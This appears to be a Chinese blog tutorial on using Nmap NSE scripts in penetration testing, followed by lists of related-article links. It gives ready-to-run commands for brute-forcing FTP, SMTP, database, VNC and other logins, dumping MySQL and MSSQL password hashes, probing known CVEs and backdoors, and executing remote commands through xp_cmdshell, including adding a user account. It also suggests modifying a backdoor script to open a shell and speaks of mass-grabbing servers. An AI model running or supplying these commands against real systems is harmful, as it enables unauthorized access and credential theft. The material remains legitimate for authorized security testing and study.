Nmap 使用
0×01 前言
因为今天的重点并非nmap本身的使用,主要还是想借这次机会给大家介绍一些在实战中相对比较实用的nmap脚本,所以关于nmap自身的一些基础选项就不多说了,详情可参考博客端口渗透相关文章,废话少说,咱们直接开始,实际中我们可以先用下面的语句,大概扫一眼目标机器或目标C段都跑了什么服务,心里总要先有个谱,之后才好针对性出牌嘛
# nmap -sV -sT -Pn --open -v 192.168.3.23
当然,你也可以用下面的脚本先尝试获取下目标机器更详细的服务banner信息[不过这个并不详细,有时候简单telnet下就直接能看到详细的banner了,用不着nmap],看具体版本的原因是因为有些服务工具漏洞只能利用在特定的版本上,所以,提前知道大概一下还是非常有必要的,废话到此为止,咱们开始真正的内容
# nmap -sT -Pn --open -v banner.nse 192.168.3.23
0×02 和ftp相关的一些漏洞检测脚本
ftp-anon.nse 检查目标ftp是否允许匿名登录,光能登陆还不够,它还会自动检测目录是否可读写,比如你想快速批量抓一些ftp
# nmap -p 21 --script ftp-anon.nse -v 192.168.3.23
ftp-brute.nse ftp爆破脚本[默认只会尝试一些比较简单的弱口令,时间可能要稍微长一些(挂vpn以后这个速度可能还会更慢),毕竟,是直接在公网爆破]
# nmap -p 21 --script ftp-brute.nse -v 192.168.3.23
ftp-vuln-cve2010-4221.nse ProFTPD 1.3.3c之前的netio.c文件中的pr_netio_telnet_gets函数中存在多个栈溢出
# nmap -p 21 --script ftp-vuln-cve2010-4221.nse -v 192.168.3.23
ftp-proftpd-backdoor.nse ProFTPD 1.3.3c 被人插后门[proftpd-1.3.3c.tar.bz2],缺省只执行id命令,可自行到脚本中它换成能直接弹shell的命令
# nmap -p 21 --script ftp-vuln-cve2010-4221.nse -v 192.168.3.23
ftp-vsftpd-backdoor.nse VSFTPD v2.3.4 跟Proftp同样的问题,被人捅进去以后在代码里面插了后门
# nmap -p 21 --script ftp-vsftpd-backdoor.nse -v 192.168.3.23
0×03 和ssh 相关的一些扫描脚本
sshv1.nse 大家都知道的,sshv1是可以被中间人的
# nmap -p 22 --script sshv1.nse -v 192.168.3.23
0×04 和smtp,pop3,imap相关的一些扫描脚本
smtp-brute.nse 简单爆破smtp弱口令,拿这个爆进去的邮箱给人发信也许成功率会稍微高一点
# nmap -p 25 --script smtp-brute.nse -v 192.168.3.23
smtp-enum-users.nse 枚举目标smtp服务器的邮件用户名,前提是目标要存在此错误配置才行,搜集一些必要的信息还是蛮好的
# nmap -p 25 --script smtp-enum-users.nse -v 192.168.3.23
smtp-vuln-cve2010-4344.nse Exim 4.70之前版本中的string.c文件中的string_vformat函数中存在堆溢出
# nmap -p 25 --script smtp-vuln-cve2010-4344.nse -v 192.168.3.23
smtp-vuln-cve2011-1720.nse Postfix 2.5.13之前版本,2.6.10之前的2.6.x版本,2.7.4之前的2.7.x版本和2.8.3之前的2.8.x版本,存在溢出
# nmap -p 25 --script smtp-vuln-cve2011-1720.nse -v 192.168.3.23
smtp-vuln-cve2011-1764.nse Exim dkim_exim_verify_finish() 存在格式字符串漏洞,太老现在基本很难遇到了
# nmap -p 25 --script smtp-vuln-cve2011-1764.nse -v 192.168.3.23
pop3-brute.nse pop简单弱口令爆破
# nmap -p 110 --script pop3-brute.nse -v 192.168.3.23
imap-brute.nse imap简单弱口令爆破
# nmap -p 143,993 --script imap-brute.nse -v 192.168.3.23
0×05 和dns 相关的一些漏洞扫描脚本
dns-zone-transfer.nse 检查目标ns服务器是否允许传送,如果能,直接把子域拖出来就好了
# nmap -p 53 --script dns-zone-transfer.nse -v 192.168.3.23
# nmap -p 53 --script dns-zone-transfer.nse --script-args dns-zone-transfer.domain=target.org -v 192.168.3.23
hostmap-ip2hosts.nse 旁站查询,目测了一下脚本,用的ip2hosts的接口,不过该接口似乎早已停用,如果想继续用,可自行到脚本里把接口部分的代码改掉
# nmap -p80 --script hostmap-ip2hosts.nse 192.168.3.23
0×06 和各种数据库相关的一些扫描脚本
informix-brute.nse informix爆破脚本
# nmap -p 9088 --script informix-brute.nse 192.168.3.23
mysql-empty-password.nse mysql 扫描root空密码,比如你想批量抓mysql
# nmap -p 3306 --script mysql-empty-password.nse -v 192.168.3.23
mysql-brute.nse mysql root弱口令简单爆破
# nmap -p 3306 --script mysql-brute.nse -v 192.168.3.23
mysql-dump-hashes.nse 导出mysql中所有用户的hash
# nmap -p 3306 --script mysql-dump-hashes --script-args='username=root,password=root' 192.168.3.23
mysql-vuln-cve2012-2122.nse Mysql身份认证漏洞[MariaDB and MySQL 5.1.61,5.2.11, 5.3.5, 5.5.22],利用条件有些苛刻 [需要目标的mysql是自己源码编译安装的,这样的成功率相对较高]
# nmap -p 3306 --script mysql-vuln-cve2012-2122.nse -v 192.168.3.23
# nmap -p 445 --script ms-sql-info.nse -v 203.124.11.0/24 ms-sql-info.nse 扫描C段mssql
# nmap -p 1433 --script ms-sql-info.nse --script-args mssql.instance-port=1433 -v 192.168.3.0/24
ms-sql-empty-password.nse 扫描mssql sa空密码,比如你想批量抓mssql
# nmap -p 1433 --script ms-sql-empty-password.nse -v 192.168.3.0/24
ms-sql-brute.nse sa弱口令爆破
# nmap -p 1433 --script ms-sql-brute.nse -v 192.168.3.0/24
ms-sql-xp-cmdshell.nse 利用xp_cmdshell,远程执行系统命令
# nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd=net user test test add 192.168.3.0/24
ms-sql-dump-hashes.nse 导出mssql中所有的数据库用户及密码hash
# nmap -p 1433 --script ms-sql-dump-hashes -v 192.168.3.0/24
pgsql-brute.nse 尝试爆破postgresql
# nmap -p 5432 --script pgsql-brute -v 192.168.3.0/24
oracle-brute-stealth.nse 尝试爆破oracle
# nmap --script oracle-brute-stealth -p 1521 --script-args oracle-brute-stealth.sid=ORCL -v 192.168.3.0/24
oracle-brute.nse
# nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL -v 192.168.3.0/24
mongodb-brute.nse 尝试爆破mongdb
# nmap -p 27017 --script mongodb-brute 192.168.3.0/24
redis-brute.nse redis爆破
# nmap -p 6379 --script redis-brute.nse 192.168.3.0/24
0×07 和snmp相关的一些扫描脚本,用来搜集些内网信息还行,运气好也许还能查到账号密码什么的
snmp-brute.nse 爆破C段的snmp
# nmap -sU --script snmp-brute --script-args snmp-brute.communitiesdb=user.txt 192.168.3.0/24
0×08 和telnet相关的一些扫描脚本
telnet-brute.nse 简单爆破telnet
# nmap -p 23 --script telnet-brute --script-args userdb=myusers.lst,passdb=mypwds.lst,telnet-brute.timeout=8s -v 192.168.3.0/24
0×09 和ldap服务相关的一些利用脚本
ldap-brute.nse 简单爆破ldap
# nmap -p 389 --script ldap-brute --script-args ldap.base='cn=users,dc=cqure,dc=net' 192.168.3.0/24
0×10 和各类web中间件,web集成环境相关的一些利用脚本
xmpp-brute.nse xmpp爆破
# nmap -p 5222 --script xmpp-brute.nse 192.168.3.0/24
http-iis-short-name-brute.nse 短文件扫描
# nmap -p80 --script http-iis-short-name-brute.nse 192.168.3.0/24
http-iis-webdav-vuln.nse iis 5.0 6.0 webadv写
# nmap --script http-iis-webdav-vuln.nse -p80,8080 192.168.3.0/24
http-shellshock.nse bash远程执行
# nmap -sV -p- --script http-shellshock --script-args uri=cgi-binbin,cmd=ls 192.168.3.0/24
http-svn-info.nse 探测目标svn
# nmap --script http-svn-info 192.168.3.0/24
http-drupal-enum.nse 其实对于这类的开源程序,我们根本没必要用nmap,因为搞多了,差不多一眼就能看出来
http-wordpress-brute.nse
# nmap -p80 -sV --script http-wordpress-brute --script-args 'userdb=users.txt,passdb=passwds.txt,http-wordpress-brute.hostname=domain.com,http-wordpress-brute.threads=3,brute.firstonly=true' 192.168.3.0/24
http-backup-finder.nse 扫描目标网站备份
# nmap -p80 --script=http-backup-finder 192.168.3.0/24
http-vuln-cve2015-1635.nse iis6.0远程代码执行
# nmap -sV --script http-vuln-cve --script-args uri='anotheruri' 192.168.3.0/24
0×11 跟vpn相关的一些利用脚本
pptp-version.nse 识别目标pptp版本,暂时只看到一个pptp暂时还好使,其实pptp也是可以爆破的,嘿嘿……不过,实际目标中,pptp几乎没有,openvpn偏多,想直接捅目标内网,这无疑是很不错的入口
# nmap -p 1723 --script pptp-version.nse 192.168.3.0/24
0×12 smb漏洞检测脚本集
smb-vuln-ms08-067.nse
smb-vuln-ms10-054.nse
smb-vuln-ms10-061.nse
smb-vuln-ms17-010.nse smb远程执行
# nmap -p445 --script smb-vuln-ms17-010.nse 192.168.3.0/24
0×13 检测内网嗅探,实际测试中,貌似并没什么卵用,难道是我实验有误![]()
sniffer-detect.nse
# nmap -sn -Pn --script sniffer-detect.nse 192.168.3.0/24
0×14 其它的一些辅助性脚本,其实有些实际用途可能并不大,大家选择性的用极好了
rsync-brute.nse 爆破目标的rsync
# nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' 192.168.3.0/24
rlogin-brute.nse 爆破目标的rlogin
# nmap -p 513 --script rlogin-brute 192.168.3.0/24
vnc-brute.nse 爆破目标的vnc
# nmap --script vnc-brute -p 5900 192.168.3.0/24
pcanywhere-brute.nse 爆破pcanywhere
# nmap -p 5631 --script=pcanywhere-brute 192.168.3.0/24
nessus-brute.nse 爆破nessus,貌似现在已经不是1241端口了,实在是太老了,直接忽略吧
# nmap --script nessus-brute -p 1241 192.168.3.0/24
nexpose-brute.nse 爆破nexpose
# nmap --script nexpose-brute -p 3780 192.168.3.0/24
shodan-api.nse 配合shodan接口进行扫描,如果自己手里有0day,配合着一起用,这个威力还是不可小觑的,不过在即实际测的时候貌似还有些问题
# nmap --script shodan-api --script-args 'shodan-api.target=192.168.3.0/24,shodan-api.apikey=SHODANAPIKEY'
0×15 尝试利用nmap一句话对目标C段进行常规漏洞扫描
实际测试中,会非常的慢,可能跑一个脚本验证时间都要很长,尤其在你的vps带宽不是很足,网络又不怎么好的时候,速度就更慢了,所以还是建议先大致扫一眼目标服务,然后再单独针对性的扫,这样实际的成功率可能会高很多,毕竟,不是像masscan或者zamp这种基于无状态的扫描
# nmap -sT -Pn -v --script dns-zone-transfer.nse,ftp-anon.nse,ftp-proftpd-backdoor.nse,ftp-vsftpd-backdoor.nse,ftp-vuln-cve2010-4221.nse,http-backup-finder.nse,http-cisco-anyconnect.nse,http-iis-short-name-brute.nse,http-put.nse,http-php-version.nse,http-shellshock.nse,http-robots.txt.nse,http-svn-enum.nse,http-webdav-scan.nse,iis-buffer-overflow.nse,iax2-version.nse,memcached-info.nse,mongodb-info.nse,msrpc-enum.nse,ms-sql-info.nse,mysql-info.nse,nrpe-enum.nse,pptp-version.nse,redis-info.nse,rpcinfo.nse,samba-vuln-cve-2012-1182.nse,smb-vuln-ms08-067.nse,smb-vuln-ms17-010.nse,snmp-info.nse,sshv1.nse,xmpp-info.nse,tftp-enum.nse,teamspeak2-version.nse 192.168.3.0/24
Nmap 使用的更多相关文章
- ★Kali信息收集★8.Nmap :端口扫描
★Kali信息收集~ 0.Httrack 网站复制机 http://www.cnblogs.com/dunitian/p/5061954.html ★Kali信息收集~ 1.Google Hackin ...
- 安全测试 - 端口嗅探工具Nmap
Nmap 在官网下载nmap端口检测工具https://nmap.org/,nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端. 使用: 通过cmd命令:nmap www.5i5j.c ...
- NMAP分布式扫描工具dnmap
NMAP分布式扫描工具dnmap NMAP是一款知名的网络扫描工具.它提供丰富和强大的网络扫描功能.但很多时候,需要渗透测试人员从多个终端发起扫描任务,以快速扫描大型网络,或规避IP限制等安全策略 ...
- nmap
扫描端口 nmap -v -sS -open -iL iplist.txt -no-stylesheet -oX output.xml -p- -P0 -v 详细信息-sS 隐蔽扫描(半开syn).– ...
- 使用nmap工具查询局域网某个网段正在使用的ip地址
linux下nmap工具可扫描局域网正在使用的ip地址 查询局域网某网段正在使用的ip地址: nmap -sP .* 以上命令,将打印10.10.70.*/24网络所有正在使用的ip地址
- Nmap参数详解
转自:http://blog.csdn.net/huangwwu11/article/details/20230795 Nmap--networkmapper,网络探测工具和安全/端口扫描器 nmap ...
- nmap报错: Failed to open device ethxxx
nmap报错: Failed to open device ethxxx 周银辉 今天用nmap时, 报错: Failed to open device eth4, 好郁闷. 调查了一下, 是w ...
- fping tcping hping nmap nc
[root@test ~]# fping -a -g 192.168.40.1 192.168.40.240 |nl #-a 扫描alive主机,-g扫描一个段的ip地址 [root@test ...
- 渗透测试工具Nmap从初级到高级使用教程
本文由阿德马翻译自国外网站,请尊重劳动成果,转载请注明出处,谢谢 Nmap是一款网络扫描和主机检测的非常有用的工具.Nmap是不局限于仅仅收集信息和枚举,同时可以用来作为一个漏洞探测器或安全扫描器.它 ...
- NMAP 基本用法
Nmap 用途: 1.通过对设备或者防火墙的探测来审计它的安全性. 2.探测目标主机所开放的端口. 3.网络存储,网络映射,维护和资产管理.(这个有待深入) 4.通过识别新的服务器审计网络的安全性. ...
随机推荐
- linux shell seq命令详解
seq: squeue 是一个序列的缩写,主要用来输出序列化的东西 seq常见命令参数 用法:seq [选项]... 尾数 或:seq [选项]... 首数 尾数 或:seq [选项]... 首数 ...
- Java8 Lambda使用指南
Java8 Lambda 的使用指南 原文地址:https://docs.oracle.com/javase/tutorial/java/javaOO/lambdaexpressions.html#s ...
- js加密(七)steam登录
1. url: https://store.steampowered.com/login/?redir=&redir_ssl=1 2. target: 登录 3. 分析 3.1 老样子,抓包, ...
- JS高级---体会面向对象和面向过程的编程思想
体会面向对象和面向过程的编程思想 ChangeStyle是自定义的构造函数,再通过原型添加方法的函数. 实例化对象,导入json参数,和创建cs,调用原型添加的方法函数 过渡,先熟悉记忆 <!D ...
- 攻防世界 你知道什么是cookie吗?
打开题目链接,提示我们查看cookie,cookie是HTTP协议中的一个重要参数,(对HTTP协议不是很熟悉的friends可以看看这个“HTTP协议其实就是这么简单”) 查看cookie的方法有很 ...
- 分享Linux系统快速入门法
相信看到这篇文章的你一定是想要学习Linux,或者已经在学习Linux的人了,那我们就可以一起探讨一下,学习Linux如何快速入门呢? 首先,希望大家弄清楚自己为什么要学习Linux,有的人是因为兴趣 ...
- 第一阶段集训(这篇先写写tarjan以及圆方树)
第一阶段的集训结束了w,不得不说oi太长时间不整是会退步的. 怎么说好呢,集训这几天过的很充实,知识收货很多,题调的也不少,自己的目标更明确了吧,不过这几天集训也是可以看出蒟蒻就是蒟蒻,还是太菜了.. ...
- HTML中的meta元素
<meta>元素必须放在<head>标记内,而且必须写在HTML文件前1024B之内 <meta>元素的主要目的是提供有关这份HTML文件的相关信息.例如编码方式, ...
- Java连载81-枚举类型,生成五个不重复的随机数,集合简介
一.枚举类型 1.枚举类型的格式就是enum+枚举类型的名称,可见下面的例子. package com.bjpowernode.java_learning; public class D81_1_ ...
- IDEA导入maven项目不自动识别
解决办法: 选中module的pom.xml,右键,选择" add as maven project",即可刷新为maven项目